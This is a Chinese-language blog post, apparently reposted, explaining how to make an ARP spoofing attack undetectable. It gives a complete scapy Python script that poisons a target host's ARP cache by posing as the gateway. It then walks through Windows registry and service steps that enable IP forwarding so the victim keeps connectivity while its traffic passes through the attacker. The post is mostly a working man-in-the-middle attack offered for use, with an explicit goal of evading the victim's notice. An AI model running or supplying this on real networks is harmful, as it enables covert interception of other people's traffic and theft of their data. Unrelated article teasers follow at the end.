ARP高级欺骗-配置路由转发

  • 引出问题:
    当我们发起一次ARP欺骗之后,目标主机会出现断网情况。这种很容易就会被目标主机A发现。那我们怎么让目标主机发现不了自己被ARP欺骗了呢?

  • 问题描述:
    1.受害主机A断网:
    当目标主机A上网时,会进行TCP的连接,但是因为ARP欺骗之后,主机A的路由转发到的是主机B而不是网关G。所以TCP的连接是无法实现的。会出现断网的情况。
    2.攻击主机B抓不到包:
    攻击者B在本地上抓包,A的请求包是抓不到的:因为TCP连接根本就没有建立起连接。

  • 相关ARP欺骗python脚本
    这段代码需要用到相关的scapy工具

`
from scapy.all import *
import time
import sys

TARGET_IP = "x.x.x.x" # 修改为目标主机IP
GATEWAY_IP = "x.x.x.x" # 修改为网关IP
INTERVAL = 2.0 # ARP包发送间隔(秒)
def get_mac(ip):
"""通过IP地址获取MAC地址"""
try:
arp_request = ARP(pdst=ip)
broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast / arp_request
answered_list = srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
except:
print(f"[!] 无法获取 {ip} 的MAC地址")
sys.exit(1)

def arp_spoof(target_ip, gateway_ip):
"""
ARP欺骗: 向目标发送ARP响应,将自己伪装成网关
"""
target_mac = get_mac(target_ip) # 获取自己的MAC地址
my_mac = get_if_hwaddr(conf.iface) # 获取本机默认网卡的MAC地址

构造ARP响应包,告诉目标主机网关IP对应的MAC是我们的MAC

ether = Ether(dst=target_mac, src=my_mac) # 创建以太网帧
spoof_packet = ARP(op=2, pdst=target_ip, hwdst=target_mac,
psrc=gateway_ip, hwsrc=my_mac)
sendp(ether/spoof_packet, verbose=False) # 发送ARP包,使用sendp而不是send

def restore(target_ip, gateway_ip):
"""恢复正常的ARP表项"""
target_mac = get_mac(target_ip)
gateway_mac = get_mac(gateway_ip)
my_mac = get_if_hwaddr(conf.iface) # 获取本机MAC地址
ether = Ether(dst=target_mac, src=my_mac) # 构建以太网帧和ARP包
restore_packet = ARP(op=2, pdst=target_ip, hwdst=target_mac,
psrc=gateway_ip, hwsrc=gateway_mac)
sendp(ether / restore_packet, count=4, verbose=False) # 使用sendp发送

def main():
try:
packet_count = 0
print(f"[] 开始对 {TARGET_IP} 进行ARP欺骗,伪装自己为网关 {GATEWAY_IP}")
print("[
] 按 Ctrl+C 停止攻击")
while True:
arp_spoof(TARGET_IP, GATEWAY_IP) # 向目标发送ARP欺骗包,使目标认为我们是网关
packet_count += 1
print(f"\r[] 已发送 {packet_count} 个欺骗包", end="")
time.sleep(INTERVAL) # 等待指定的间隔时间
except KeyboardInterrupt:
print("\n[
] 检测到Ctrl+C,正在停止ARP欺骗并恢复ARP表...")
restore(TARGET_IP, GATEWAY_IP)
print("[*] ARP欺骗已停止")

if name == "main":
main()
`

  • 实现思路:
    此时我们需要本机B实现路由转发功能即可。
  • 实现过程
    1.打开命令提示符,并输入Regedit

    2.弹出注册表编辑器,导航到HKEY_LOCAL_MACHINE-->SYSTEM-->CurrentControlSet-->Services-->Tcpip-->Parameters
    3.双击进入Parameters,找到IPEnableRouter(如果没有,参照以下创建),将值从0修改为1


    4.打开菜单按钮,输入Run并回车

    5.输入Services.msc并回车

    6.现在导航到Routings and Remote..访问服务,右键单击以打开其属性

    7.选择自动,并启动服务

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/904105.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

使用XIAO ESP32C6, XIAO扩展板和SHT31温湿度传感器构建温湿度计

我很高兴与您分享我的最新项目:我使用XIAO ESP32C6, XIAO扩展板和SHT31温湿度传感器构建的DIY温湿度计。我的目标是创造一种设备,可以帮助我监测家里的湿度水平,特别是因为我住在沿海热带地区,那里的湿度波动很大。这个想法来自于我需要保持一个舒适的室内环境。有时空气会…

可视化图解算法:判断一个链表是否为回文结构(回文链表)

对于链表的相关操作,我们总结了一套【可视化+图解】方法,依据此方法来解决链表相关问题,链表操作变得易于理解,写出来的代码可读性高也不容易出错。1. 题目 描述 给定一个链表,请判断该链表是否为回文结构。 回文是指该字符串正序逆序完全一致。 数据范围: 链表节点数 0≤…

使用ESP32和Gemini REST API语音输入调用带有自定义参数的函数

我们在建造什么? 在之前的教程中,我介绍了如何通过REST将ESP32连接到谷歌Gemini API以发送音频文件并对其进行转录。在本教程中,我将扩展到实际使用录制的音频而不是转录它-在这种情况下,打开和关闭LED环,加上根据语音命令改变LED的颜色。虽然我只是在操纵一个LED环,但你…

20244211 实验一《Python程序设计》实验报告

20244211 2024-2025-2 《Python程序设计》实验一报告 课程:《Python程序设计》 班级: 2442 姓名: 朱睿颖 学号:20244211 实验教师:王志强老师 实验日期:2025年3月18日 必修/选修: 专业选修课 1.实验内容熟悉Python开发环境; 练习Python运行、调试技能; 编写程序,练习…

JTS 介绍

JTS 是一个用于创建和操作向量几何的Java库;本文主要介绍其基本概念及使用,文中所使用到的软件版本:Java 1.8.0_341、JTS 1.20.0。 1、简介 LocationTech JTS 拓扑套件™(JTS)是一个开源的 Java 软件库,提供了平面几何的对象模型以及一套基础的几何函数。JTS 遵循开放 GI…

【笔记】力扣 134. 加油站——贪心

134. 加油站 中等 在一条环路上有 n 个加油站,其中第 i 个加油站有汽油 gas[i] 升。 你有一辆油箱容量无限的的汽车,从第 i 个加油站开往第 i+1 个加油站需要消耗汽油 cost[i] 升。你从其中的一个加油站出发,开始时油箱为空。 给定两个整数数组 gas 和 cost ,如果你可以按顺…

2025.3.23 鲜花

[省选联考 2025] 追忆 题解[省选联考 2025] 追忆 题解hello (bpm) 2025恭喜获得 最速被击破奖🏆不会 bitset,赛时想不到分块也是没救了。 首先必然要坚定 bitset 信念,因为其严格难于导出子图。 维护后继直接 bitset 就是 \(\frac{nm}w\) 的。 考虑到第二个限制 \(l, r\) 如…

给wordpress文章提供在线翻译和朗读的功能

之前有一个用wordpress搭的英文站点,我想给文章每个段落下面加两个“朗读”和“翻译”的按钮,方便英语不好的浏览者快速的了解中文意思和读法。 下面给出实现思路,全部是deepseek给出的代码实现的。 1、在(functions.php)文件末尾加上如下代码function enqueue_custom_scrip…

第五章 影响估算的因素

对软件项目产生影响的因素,可以有多种分类方式。了解这些影响因素有助于提高估算的准确度,并改善对软件项目动态特性的整体理解。 影响到项目工作量、成本和进度的最具决定性的因素毫无疑问是项目的规模。其次是正在开发的软件的类型,紧随其后的是人员因素。开发中使用的编程…

2025.3.25(周二)

4、航空服务查询问题:根据航线,仓位,飞行时间查询航空服务。 假设一个中国的航空公司规定:① 中国去欧美的航线所有座位都有食物供应,每个座位都可以播放电影。② 中国去非欧美的国外航线都有食物供应,只有商务仓可以播放电影。③ 中国国内的航班的商务仓有食物供应,但是…

2025.3.19(周三)

2、找零钱最佳组合假设商店货品价格(R) 都不大于100元(且为整数),若顾客付款(P)在100元内,现有一个程序能在每位顾客付款后给出找零钱的最佳组合(找给顾客货币张数最少)。假定此商店的货币面值只包括:50元(N50)、10元(N10)、 5元(N5)、1元(N1) 四种。请结合等价类划分法…

如何使用microSD卡模块与Arduino

MicroSD卡模块 ESP32有不同的microSD卡模块兼容。我们使用microSD卡模块,它使用SPI通信协议进行通信。您可以使用带有SPI接口的任何其他microSD卡模块。这个microSD卡模块也与Arduino板等其他微控制器兼容。学习如何使用microSD卡模块与Arduino。您可以使用默认SPI引脚将其连接…